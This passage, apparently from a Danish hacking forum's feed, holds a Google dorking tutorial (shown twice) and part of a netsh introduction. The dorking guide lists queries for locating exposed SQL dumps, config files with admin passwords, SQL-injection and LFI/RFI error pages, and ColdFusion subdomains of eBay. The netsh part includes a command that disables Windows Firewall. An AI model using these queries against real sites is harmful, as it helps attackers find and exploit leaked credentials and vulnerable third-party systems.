Det positive ved google dorking er, hvor nemt og effektivt det kan være til at finde sårbarheder, mens det negative er, at det er så kendt en metode, at de fleste sårbarheder typisk er blevet fundet af andre før, og samtidig dækker det kun over, hvad google har indekseret, som langt fra er alt.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Google search operators</span></span></span></span><br />
<br />
Google search operators er "parametre", du kan bruge til at gøre din søgning på google mere effektiv. Du kan læse mere om dem og deres forskellige funktioner på <a href="http://www.googleguide.com/advanced_operators_reference.html" target="_blank" rel="noopener" class="mycode_url">http://www.googleguide.com/advanced_oper...rence.html</a><br />
<br />
De operators, der er mest effektive til google dorking er typisk:<br />
<br />
inurl: specificerer, hvad der skal stå i url bar på de resultater, du søger efter. <br />
Eksempel: inurl:wp-admin &lt;--- eksempel på wordpress-dorking, hvor man bruger inurl til at søge efter wordpress-sider, hvis admin-login er indekseret hos google<br />
<br />
site: specificerer domænet/domænetyper der skal fokuseres på i søgninger. <br />
Eksempel: site:dk &lt;--- sørger for, at alle søgninger kun er .dk domæner<br />
Eksempel: site:eb.dk &lt;--- specificerer eb.dk som det eneste domæne, du ønsker resultater fra - dette kan være praktisk at gøre til målrettet dorking<br />
<br />
intext: specificerer, hvad der skal stå i sidens tekst<br />
Eksempel: intext:"you have an error in your sql syntax" &lt;--- eksempel på, hvordan man hurtigt kan finde sider med sql injection sårbarheder<br />
<br />
intitle: specificerer, hvad der skal stå i titel på hjemmesiden<br />
Eksempel: intitle:index of /weekly cpbackup &lt;--- eksempel på  dorking efter cpanel backups (lånt fra ghdb)<br />
<br />
ext: specificerer file extension på siden<br />
eksempel: ext:php &lt;--- viser kun resultater der er kodet i php<br />
<br />
Disse eksempler er ret simple og knapt så interressante, medmindre man tilføjer lidt mere til dem, som gør dem mere praktiske, som vi nu kommer ind på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Eksempler på dorking:</span></span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">dorking efter kritiske filer:</span></span></span></span><br />
<br />
Der er desværre for mange programmører, der lader backups, sql dumps osv. ligge offentligt tilgængeligt på deres webservere uden at tænke over konsekvenserne. Den slags kan man hurtigt finde nogle gode eksempler på med denne dork: <br />
inurl:backup ext:sql -github - her kan man evt. også specificere lande, hvor Danmark også har eksempler på dette. Eksempel: inurl:backup ext:sql site:dk og ext:sql site:dk - den kan tweakes en del alt efter, hvad man naturligvis leder efter<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Andre eksempler:filer:</span></span></span></span><br />
<br />
ext:conf intext:password intext:admin -google -github &lt;--- denne dork giver 2470 eksempler på sider, hvor der er konfigurationsfiler med admin og password i teksten på konfigurationsfilerne. Her skrives der -google og -github for at reducere en stor del af resultaterne fra google code og github, da de ikke er brugbare<br />
<br />
ext:ini intext:password intext:admin -google -github &lt;--- samme koncept som ovenstående, bare .ini frem for .conf<br />
<br />
Dette er som sagt kun eksempler, og der er masser af andre metoder til lignende resultater - prøv jer frem, og I vil hurtigt blive overraskede over, hvor meget man kan finde på ingen tid!<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">subdomæne enumeration:</span></span></span></span><br />
<br />
Når man skal lave en penetration testing, skal man bruge en del tid på at analysere sit mål og finde forskellige vectors, hvor subdomæner er yderst relevante. For at identificere forskellige subdomæner, prøver vi som vores eksempel at dorke lidt på ebay.com, som har en stor del. Nogle programmeringssprog er kendte for dårlig sikkerhed, deriblandt coldfusion med subzero-exploitet og cgi med shellshock. Begge sårbarhederne er ret forældede og virker ikke så tit, men de er gode eksempler til, hvad vi vil prøve. I vores eksempel prøver vi at finde subdomæner og specificerer efter domæner, der kører coldfusion<br />
<br />
Vores første dork bliver site:*.ebay.com -www. Dette giver os alle søgeresultater på ebays subdomæner, som google kan finde på nær dem med www i og ebay.com i sig selv, hvor der dukker 12.000.000 resultater op. Hvis vi ændrer vores dork til site*.ebay.com ext:cfm bliver resultatet dog mere overskueligt. Vores første domæne vi ser i søgning er investor.ebay.com, som kører coldfusion. Derefter kan vi ændre dork til site*.ebay.com ext:cfm -investor for at få alle ebays domæner med coldfusion, som ikke er investor.ebay.com (da vi allerede kender den). Sådan kan man fortsætte igennem, til man har alle domæner med coldfusion, hvoefter man kan prøve andre file extensions (php, asp, aspx, jsp, cgi, do for at komme med nogle eksempler). Dette er ikke "hacking" i sig selv, men er en effektiv måde til at finde interressante subdomæner, som man bagefter kan finde sårbarheder på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Dorking efter sårbarheder:</span></span></span></span><br />
<br />
Til sidst vil jeg give nogle gode eksempler på, hvordan man kan finde sider, der har typiske sårbarheder som sql injection. Der findes flere fejlkoder til oracle sql server, msaccess, pgsql osv. men tager kun mysql og mssql som eksempel i de to første, og .dk kan selvfølgelig skiftes ud med en masse andet, eksempelvis .gov<br />
<br />
site:dk intext:"you have an error in your sql syntax" -eksperten.dk<br />
site:dk intext:"microsoft ole db provider for" -eksperten.dk<br />
<br />
inurl:index.php?page=*.php intext:"failed to open stream" -forum &lt;--- eksempel på, hvordan man hurtigt kan finde nogle lfi/rfi-sårbarheder. At siderne giver fejlkoder betyder ikke nødvendigvis, at de er sårbare, men man kan hurtigt finde nogle sårbare sider, hvis man bare lige prøver sig frem. page kan hedde noget andet som eksempelvis site,inc,path og andet og *.php kan være *.htm, *.html, *.txt osv<br />
<br />
Mere magter jeg ikke lige at tilføje til guiden indtil videre, da google dorking som sagt er et ret stort emne, som dækker bredt. Hvis folk vil have flere effektive eksempler på google dorking, kan jeg klart anbefale at lurke lidt på <a href="https://www.exploit-db.com/google-hacking-database/" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/google-hacking-database/</a>. Jeg håber, at dette var brugbart for nogen :)<br />
<br />
Disclaimer: Jeg tager (naturligvis) ikke ansvar for, hvad andre folk bruger info i denne guide til.]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Hvad er google dorking?</span></span></span></span><br />
<br />
Google dorking er ganske enkelt, at man bruger specifikke søgninger via google til eksempelvis at identificere sårbarheder på nettet, samle informationer mod sit mål, eller finde offentligt tilgængelige filer, der ikke bevist skal være tilgængelige (eksempelvis backup, sql dumps, konfigurationsfiler o.l). I denne guide vil jeg give en hurtig introduktion til simpel, men effektiv google dorking på begyndervenligt niveau med en række eksempler til at vise, hvor effektivt google dorking kan være. <br />
Det positive ved google dorking er, hvor nemt og effektivt det kan være til at finde sårbarheder, mens det negative er, at det er så kendt en metode, at de fleste sårbarheder typisk er blevet fundet af andre før, og samtidig dækker det kun over, hvad google har indekseret, som langt fra er alt.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Google search operators</span></span></span></span><br />
<br />
Google search operators er "parametre", du kan bruge til at gøre din søgning på google mere effektiv. Du kan læse mere om dem og deres forskellige funktioner på <a href="http://www.googleguide.com/advanced_operators_reference.html" target="_blank" rel="noopener" class="mycode_url">http://www.googleguide.com/advanced_oper...rence.html</a><br />
<br />
De operators, der er mest effektive til google dorking er typisk:<br />
<br />
inurl: specificerer, hvad der skal stå i url bar på de resultater, du søger efter. <br />
Eksempel: inurl:wp-admin &lt;--- eksempel på wordpress-dorking, hvor man bruger inurl til at søge efter wordpress-sider, hvis admin-login er indekseret hos google<br />
<br />
site: specificerer domænet/domænetyper der skal fokuseres på i søgninger. <br />
Eksempel: site:dk &lt;--- sørger for, at alle søgninger kun er .dk domæner<br />
Eksempel: site:eb.dk &lt;--- specificerer eb.dk som det eneste domæne, du ønsker resultater fra - dette kan være praktisk at gøre til målrettet dorking<br />
<br />
intext: specificerer, hvad der skal stå i sidens tekst<br />
Eksempel: intext:"you have an error in your sql syntax" &lt;--- eksempel på, hvordan man hurtigt kan finde sider med sql injection sårbarheder<br />
<br />
intitle: specificerer, hvad der skal stå i titel på hjemmesiden<br />
Eksempel: intitle:index of /weekly cpbackup &lt;--- eksempel på  dorking efter cpanel backups (lånt fra ghdb)<br />
<br />
ext: specificerer file extension på siden<br />
eksempel: ext:php &lt;--- viser kun resultater der er kodet i php<br />
<br />
Disse eksempler er ret simple og knapt så interressante, medmindre man tilføjer lidt mere til dem, som gør dem mere praktiske, som vi nu kommer ind på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Eksempler på dorking:</span></span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">dorking efter kritiske filer:</span></span></span></span><br />
<br />
Der er desværre for mange programmører, der lader backups, sql dumps osv. ligge offentligt tilgængeligt på deres webservere uden at tænke over konsekvenserne. Den slags kan man hurtigt finde nogle gode eksempler på med denne dork: <br />
inurl:backup ext:sql -github - her kan man evt. også specificere lande, hvor Danmark også har eksempler på dette. Eksempel: inurl:backup ext:sql site:dk og ext:sql site:dk - den kan tweakes en del alt efter, hvad man naturligvis leder efter<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Andre eksempler:filer:</span></span></span></span><br />
<br />
ext:conf intext:password intext:admin -google -github &lt;--- denne dork giver 2470 eksempler på sider, hvor der er konfigurationsfiler med admin og password i teksten på konfigurationsfilerne. Her skrives der -google og -github for at reducere en stor del af resultaterne fra google code og github, da de ikke er brugbare<br />
<br />
ext:ini intext:password intext:admin -google -github &lt;--- samme koncept som ovenstående, bare .ini frem for .conf<br />
<br />
Dette er som sagt kun eksempler, og der er masser af andre metoder til lignende resultater - prøv jer frem, og I vil hurtigt blive overraskede over, hvor meget man kan finde på ingen tid!<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">subdomæne enumeration:</span></span></span></span><br />
<br />
Når man skal lave en penetration testing, skal man bruge en del tid på at analysere sit mål og finde forskellige vectors, hvor subdomæner er yderst relevante. For at identificere forskellige subdomæner, prøver vi som vores eksempel at dorke lidt på ebay.com, som har en stor del. Nogle programmeringssprog er kendte for dårlig sikkerhed, deriblandt coldfusion med subzero-exploitet og cgi med shellshock. Begge sårbarhederne er ret forældede og virker ikke så tit, men de er gode eksempler til, hvad vi vil prøve. I vores eksempel prøver vi at finde subdomæner og specificerer efter domæner, der kører coldfusion<br />
<br />
Vores første dork bliver site:*.ebay.com -www. Dette giver os alle søgeresultater på ebays subdomæner, som google kan finde på nær dem med www i og ebay.com i sig selv, hvor der dukker 12.000.000 resultater op. Hvis vi ændrer vores dork til site*.ebay.com ext:cfm bliver resultatet dog mere overskueligt. Vores første domæne vi ser i søgning er investor.ebay.com, som kører coldfusion. Derefter kan vi ændre dork til site*.ebay.com ext:cfm -investor for at få alle ebays domæner med coldfusion, som ikke er investor.ebay.com (da vi allerede kender den). Sådan kan man fortsætte igennem, til man har alle domæner med coldfusion, hvoefter man kan prøve andre file extensions (php, asp, aspx, jsp, cgi, do for at komme med nogle eksempler). Dette er ikke "hacking" i sig selv, men er en effektiv måde til at finde interressante subdomæner, som man bagefter kan finde sårbarheder på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Dorking efter sårbarheder:</span></span></span></span><br />
<br />
Til sidst vil jeg give nogle gode eksempler på, hvordan man kan finde sider, der har typiske sårbarheder som sql injection. Der findes flere fejlkoder til oracle sql server, msaccess, pgsql osv. men tager kun mysql og mssql som eksempel i de to første, og .dk kan selvfølgelig skiftes ud med en masse andet, eksempelvis .gov<br />
<br />
site:dk intext:"you have an error in your sql syntax" -eksperten.dk<br />
site:dk intext:"microsoft ole db provider for" -eksperten.dk<br />
<br />
inurl:index.php?page=*.php intext:"failed to open stream" -forum &lt;--- eksempel på, hvordan man hurtigt kan finde nogle lfi/rfi-sårbarheder. At siderne giver fejlkoder betyder ikke nødvendigvis, at de er sårbare, men man kan hurtigt finde nogle sårbare sider, hvis man bare lige prøver sig frem. page kan hedde noget andet som eksempelvis site,inc,path og andet og *.php kan være *.htm, *.html, *.txt osv<br />
<br />
Mere magter jeg ikke lige at tilføje til guiden indtil videre, da google dorking som sagt er et ret stort emne, som dækker bredt. Hvis folk vil have flere effektive eksempler på google dorking, kan jeg klart anbefale at lurke lidt på <a href="https://www.exploit-db.com/google-hacking-database/" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/google-hacking-database/</a>. Jeg håber, at dette var brugbart for nogen :)<br />
<br />
Disclaimer: Jeg tager (naturligvis) ikke ansvar for, hvad andre folk bruger info i denne guide til.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[netsh - Microsoft Net Shell - Intro]]></title>
			<link>https://www.shellsec.pw/traad-netsh-microsoft-net-shell-intro</link>
			<pubDate>Mon, 25 May 2015 18:36:05 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-netsh-microsoft-net-shell-intro</guid>
			<description><![CDATA[Denne intro er mere en teaser, som skal hjælpe med at komme i gang med netsh. Det er mest en "where-to-start", da jeg ikke giver ret mange eksempler.<br />
Det skyldes primært, at man kan se alle kommandoerne med "?", direkte i netsh.<br />
Så det ville være lidt overflødigt at skrive dem alle. Der er selvfølgelig også en masse info tilgængelig på nettet.<br />
Det er et super værktøj, både til administration, og selvfølgelig som hacker.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Eksempler:</span><br />
Man kan f.eks. se, hvilke adresser maskinens interfaces har:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show addresses<br />
<br />
Konfiguration for grænseflade "LAN-forbindelse"<br />
    DHCP aktiveret:                       Ja<br />
    IP-adresse:                           10.0.2.43<br />
    Undernetpræfiks:                      10.0.2.0/23 (maske 255.255.254.0)<br />
    Standardgateway:                      10.0.2.1<br />
    Gatewaymetrikværdi:                   0<br />
    InterfaceMetric:                      10<br />
<br />
Konfiguration for grænseflade "Trådløs netværksforbindelse"<br />
    DHCP aktiveret:                       Ja<br />
    InterfaceMetric:                      25<br />
<br />
Konfiguration for grænseflade "VirtualBox Host-Only Network"<br />
    DHCP aktiveret:                       Nej<br />
    IP-adresse:                           192.168.56.1<br />
    Undernetpræfiks:                      192.168.56.0/24 (maske 255.255.255.0)<br />
    InterfaceMetric:                      20<br />
<br />
Konfiguration for grænseflade "Loopback Pseudo-Interface 1"<br />
    DHCP aktiveret:                       Nej<br />
    IP-adresse:                           127.0.0.1<br />
    Undernetpræfiks:                      127.0.0.0/8 (maske 255.0.0.0)<br />
    InterfaceMetric:                      50<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Bemærk at "int" er en forkortelse for "interface", og disse keywords kan forkortes temmelig meget.<br />
Nedenstående to kommandoer giver det samme resultat:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netsh interface show interface<br />
netsh i s i</blockquote>
<br />
Kan kan også få en oversigt over sine interfaces, hvis man har brug for det:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show interfaces<br />
<br />
Idx     Met         MTU          Tilstand                Navn<br />
---  ----------  ----------  ------------  ---------------------------<br />
  1          50  4294967295  connected     Loopback Pseudo-Interface 1<br />
 11          25        1300  disconnected  Trådløs netværksforbindelse<br />
 12          10        1300  connected     LAN-forbindelse<br />
 20          20        1500  connected     VirtualBox Host-Only Network<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Det gælder selvfølgelig både for IPv4 og IPv6.<br />
<br />
Man kan også bruge "add" til at tilføje, "set" til at ændre, og "del" for at slette instillinger. F.eks. kan man slette en IP adresse.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netsh int ipv4 set address "Local Area Connection" static 192.168.1.3 255.255.255.0 192.168.1.1<br />
netsh int ipv4 del address "Local Area Connection" 192.168.1.3 192.168.1.1<br />
netsh int ipv4 add address "Local Area Connection" 192.168.1.4</blockquote>
<br />
Man kan også se sine windows firewall instillinger:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh advfirewall show allprofiles<br />
<br />
Domæneprofil-indstillinger:<br />
----------------------------------------------------------------------<br />
Tilstand                              TIL<br />
Firewall-politik                      BlockInbound,AllowOutbound<br />
LocalFirewallRules                    I/T (kun gruppepolitikobjekt-lager)<br />
LocalConSecRules                      I/T (kun gruppepolitikobjekt-lager)<br />
InboundUserNotification               Aktiver<br />
RemoteManagement                      Deaktiver<br />
UnicastResponseToMulticast            Aktiver<br />
<br />
Logføring:<br />
LogAllowedConnections                 Deaktiver<br />
LogDroppedConnections                 Deaktiver<br />
FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log<br />
MaxFileSize                           4096<br />
<br />
<br />
Privat profil-indstillinger:<br />
----------------------------------------------------------------------<br />
Tilstand                              TIL<br />
Firewall-politik                      BlockInbound,AllowOutbound<br />
...</blockquote>
<br />
Windows firewall kan disables med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netSh advfirewall set allprofiles state off</blockquote>
<br />
Eller aktiveres med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netSh advfirewall set allprofiles state on</blockquote>
<br />
<span style="font-weight: bold;" class="mycode_b">Mere:</span><br />
Hvad kan man ellers og hvordan finder man selv ud af, hvad man kan?<br />
For at se hvad man ellers kan i denne context, kan man udføre følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show ?<br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Kommandoer i denne kontekst:<br />
show addresses - Viser IP-adressekonfigurationer.<br />
show compartments - Viser opdelingsparametre.<br />
show config    - Viser IP-adresser og flere oplysninger.<br />
show destinationcache - Viser poster i destinationscachen.<br />
show dnsservers - Viser DNS-serveradresserne.<br />
show dynamicportrange - Viser konfigurationsparametre for dynamisk portinterval.<br />
show global    - Viser globale konfigurationsparametre.<br />
show icmpstats - Viser  ICMP-statistik.<br />
show interfaces - Viser grænsefladeparametre.<br />
show ipaddresses - Viser de aktuelle IP-adresser.<br />
show ipnettomedia - Viser IP net-til-medieforbindelser.<br />
show ipstats   - Viser IP-statistik.<br />
show joins     - Viser tilsluttede multicast-grupper.<br />
show neighbors - Viser poster i den tilstødende cache.<br />
show offload   - Viser oplysninger om aflastning.<br />
show route     - Viser poster i rutetabellen.<br />
show subinterfaces - Viser undergrænsefladeparametre.<br />
show tcpconnections - Viser TCP-forbindelser.<br />
show tcpstats  - Viser TCP-statistik.<br />
show udpconnections - Viser UDP-forbindelser.<br />
show udpstats  - Viser UDP-statistik.<br />
show winsservers - Viser WINS-serverens adresser.<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Man kan rigtig meget med dette tool og det har sin egen shell. Her kan man se alle muligheder.<br />
Den er context baseret, lidt som Cisco IOS, eller harddiskens mappestruktur.<br />
<br />
Vi kan prøve at se på følgende kommando:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netsh interface show interface</blockquote>
<br />
Vi går fra netsh "rod" context, til "interface" context:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh<br />
netsh&gt;interface<br />
netsh interface&gt;show<br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Arvede kommandoer fra konteksten netsh:<br />
show alias     - Viser alle definerede aliaser.<br />
show helper    - Viser alle hjælpeprogrammer på øverste niveau.<br />
show mode      - Viser den aktuelle tilstand.<br />
<br />
Kommandoer i denne kontekst:<br />
show interface - Viser grænseflader.<br />
netsh interface&gt;show interface<br />
<br />
Admin-tilst.   Tilstand       Type             Grænsefladenavn<br />
-------------------------------------------------------------------------<br />
Aktiveret      Forbindelsen er oprettet Dedikeret        VirtualBox Host-Only Network<br />
Deaktiveret    Afbrudt        Dedikeret        LAN-forbindelse 2<br />
Aktiveret      Afbrudt        Dedikeret        Trådløs netværksforbindelse<br />
Aktiveret      Forbindelsen er oprettet Dedikeret        LAN-forbindelse<br />
<br />
netsh interface&gt;exit<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
Man kan få context baseret hjælp ved at skrive "?". Man forlader en context med "..", og afsluttet netsh shell med "exit".<br />
Bemærk at "?" både viser nedarvede kommandoer, og kommandoer der kun kan bruges i den aktuelle context.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;<span style="font-weight: bold;" class="mycode_b">netsh</span><br />
netsh&gt;<span style="font-weight: bold;" class="mycode_b">interface</span><br />
netsh interface&gt;<span style="font-weight: bold;" class="mycode_b">?</span><br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Arvede kommandoer fra konteksten netsh:<br />
..             - Skifter et niveau op.<br />
abort          - Annullerer ændringer foretaget i offline-tilstand.<br />
add            - Føjer en konfigurationspost til en liste over poster.<br />
advfirewall    - Ændringer til 'netsh advfirewall'-konteksten.<br />
alias          - Tilføjer et alias.<br />
bridge         - Ændringer til 'netsh bridge'-konteksten.<br />
...<br />
winhttp        - Ændringer til 'netsh winhttp'-konteksten.<br />
winsock        - Ændringer til 'netsh winsock'-konteksten.<br />
wlan           - Ændringer til 'netsh wlan'-konteksten.<br />
<br />
Kommandoer i denne kontekst:<br />
6to4           - Ændringer til 'netsh interface 6to4'-konteksten.<br />
?              - Viser en liste over kommandoer.<br />
dump           - Viser et konfigurationsscript.<br />
help           - Viser en liste over kommandoer.<br />
...<br />
show           - Viser oplysninger.<br />
tcp            - Ændringer til 'netsh interface tcp'-konteksten.<br />
teredo         - Ændringer til 'netsh interface teredo'-konteksten.<br />
<br />
Følgende underkontekster er tilgængelige:<br />
 6to4 httpstunnel ipv4 ipv6 isatap portproxy tcp teredo<br />
<br />
For at se hjælp til en kommando skal du skrive kommandoen efterfulgt af<br />
et mellemrum og derefter skrive ?.<br />
<br />
netsh interface&gt;<span style="font-weight: bold;" class="mycode_b">..</span><br />
<br />
netsh&gt;<span style="font-weight: bold;" class="mycode_b">exit</span><br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Links:</span><br />
<a href="http://en.wikipedia.org/wiki/Netsh" target="_blank" rel="noopener" class="mycode_url">http://en.wikipedia.org/wiki/Netsh</a><br />
<a href="https://technet.microsoft.com/en-us/library/bb490939.aspx" target="_blank" rel="noopener" class="mycode_url">Microsoft TechNet - Netsh</a>]]></description>
			<content:encoded><![CDATA[Denne intro er mere en teaser, som skal hjælpe med at komme i gang med netsh. Det er mest en "where-to-start", da jeg ikke giver ret mange eksempler.<br />
Det skyldes primært, at man kan se alle kommandoerne med "?", direkte i netsh.<br />
Så det ville være lidt overflødigt at skrive dem alle. Der er selvfølgelig også en masse info tilgængelig på nettet.<br />
Det er et super værktøj, både til administration, og selvfølgelig som hacker.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Eksempler:</span><br />
Man kan f.eks. se, hvilke adresser maskinens interfaces har:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show addresses<br />
<br />
Konfiguration for grænseflade "LAN-forbindelse"<br />
    DHCP aktiveret:                       Ja<br />
    IP-adresse:                           10.0.2.43<br />
    Undernetpræfiks:                      10.0.2.0/23 (maske 255.255.254.0)<br />
    Standardgateway:                      10.0.2.1<br />
    Gatewaymetrikværdi:                   0<br />
    InterfaceMetric:                      10<br />
<br />
Konfiguration for grænseflade "Trådløs netværksforbindelse"<br />
    DHCP aktiveret:                       Ja<br />
    InterfaceMetric:                      25<br />
<br />
Konfiguration for grænseflade "VirtualBox Host-Only Network"<br />
    DHCP aktiveret:                       Nej<br />
    IP-adresse:                           192.168.56.1<br />
    Undernetpræfiks:                      192.168.56.0/24 (maske 255.255.255.0)<br />
    InterfaceMetric:                      20<br />
<br />
Konfiguration for grænseflade "Loopback Pseudo-Interface 1"<br />
    DHCP aktiveret:                       Nej<br />
    IP-adresse:                           127.0.0.1<br />
    Undernetpræfiks:                      127.0.0.0/8 (maske 255.0.0.0)<br />
    InterfaceMetric:                      50<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Bemærk at "int" er en forkortelse for "interface", og disse keywords kan forkortes temmelig meget.<br />
Nedenstående to kommandoer giver det samme resultat:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netsh interface show interface<br />
netsh i s i</blockquote>
<br />
Kan kan også få en oversigt over sine interfaces, hvis man har brug for det:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show interfaces<br />
<br />
Idx     Met         MTU          Tilstand                Navn<br />
---  ----------  ----------  ------------  ---------------------------<br />
  1          50  4294967295  connected     Loopback Pseudo-Interface 1<br />
 11          25        1300  disconnected  Trådløs netværksforbindelse<br />
 12          10        1300  connected     LAN-forbindelse<br />
 20          20        1500  connected     VirtualBox Host-Only Network<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Det gælder selvfølgelig både for IPv4 og IPv6.<br />
<br />
Man kan også bruge "add" til at tilføje, "set" til at ændre, og "del" for at slette instillinger. F.eks. kan man slette en IP adresse.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netsh int ipv4 set address "Local Area Connection" static 192.168.1.3 255.255.255.0 192.168.1.1<br />
netsh int ipv4 del address "Local Area Connection" 192.168.1.3 192.168.1.1<br />
netsh int ipv4 add address "Local Area Connection" 192.168.1.4</blockquote>
<br />
Man kan også se sine windows firewall instillinger:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh advfirewall show allprofiles<br />
<br />
Domæneprofil-indstillinger:<br />
----------------------------------------------------------------------<br />
Tilstand                              TIL<br />
Firewall-politik                      BlockInbound,AllowOutbound<br />
LocalFirewallRules                    I/T (kun gruppepolitikobjekt-lager)<br />
LocalConSecRules                      I/T (kun gruppepolitikobjekt-lager)<br />
InboundUserNotification               Aktiver<br />
RemoteManagement                      Deaktiver<br />
UnicastResponseToMulticast            Aktiver<br />
<br />
Logføring:<br />
LogAllowedConnections                 Deaktiver<br />
LogDroppedConnections                 Deaktiver<br />
FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log<br />
MaxFileSize                           4096<br />
<br />
<br />
Privat profil-indstillinger:<br />
----------------------------------------------------------------------<br />
Tilstand                              TIL<br />
Firewall-politik                      BlockInbound,AllowOutbound<br />
...</blockquote>
<br />
Windows firewall kan disables med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netSh advfirewall set allprofiles state off</blockquote>
<br />
Eller aktiveres med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>netSh advfirewall set allprofiles state on</blockquote>
<br />
<span style="font-weight: bold;" class="mycode_b">Mere:</span><br />
Hvad kan man ellers og hvordan finder man selv ud af, hvad man kan?<br />
For at se hvad man ellers kan i denne context, kan man udføre følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh int ipv4 show ?<br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Kommandoer i denne kontekst:<br />
show addresses - Viser IP-adressekonfigurationer.<br />
show compartments - Viser opdelingsparametre.<br />
show config    - Viser IP-adresser og flere oplysninger.<br />
show destinationcache - Viser poster i destinationscachen.<br />
show dnsservers - Viser DNS-serveradresserne.<br />
show dynamicportrange - Viser konfigurationsparametre for dynamisk portinterval.<br />
show global    - Viser globale konfigurationsparametre.<br />
show icmpstats - Viser  ICMP-statistik.<br />
show interfaces - Viser grænsefladeparametre.<br />
show ipaddresses - Viser de aktuelle IP-adresser.<br />
show ipnettomedia - Viser IP net-til-medieforbindelser.<br />
show ipstats   - Viser IP-statistik.<br />
show joins     - Viser tilsluttede multicast-grupper.<br />
show neighbors - Viser poster i den tilstødende cache.<br />
show offload   - Viser oplysninger om aflastning.<br />
show route     - Viser poster i rutetabellen.<br />
show subinterfaces - Viser undergrænsefladeparametre.<br />
show tcpconnections - Viser TCP-forbindelser.<br />
show tcpstats  - Viser TCP-statistik.<br />
show udpconnections - Viser UDP-forbindelser.<br />
show udpstats  - Viser UDP-statistik.<br />
show winsservers - Viser WINS-serverens adresser.<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
Man kan rigtig meget med dette tool og det har sin egen shell. Her kan man se alle muligheder.<br />
Den er context baseret, lidt som Cisco IOS, eller harddiskens mappestruktur.<br />
<br />
Vi kan prøve at se på følgende kommando:<br />
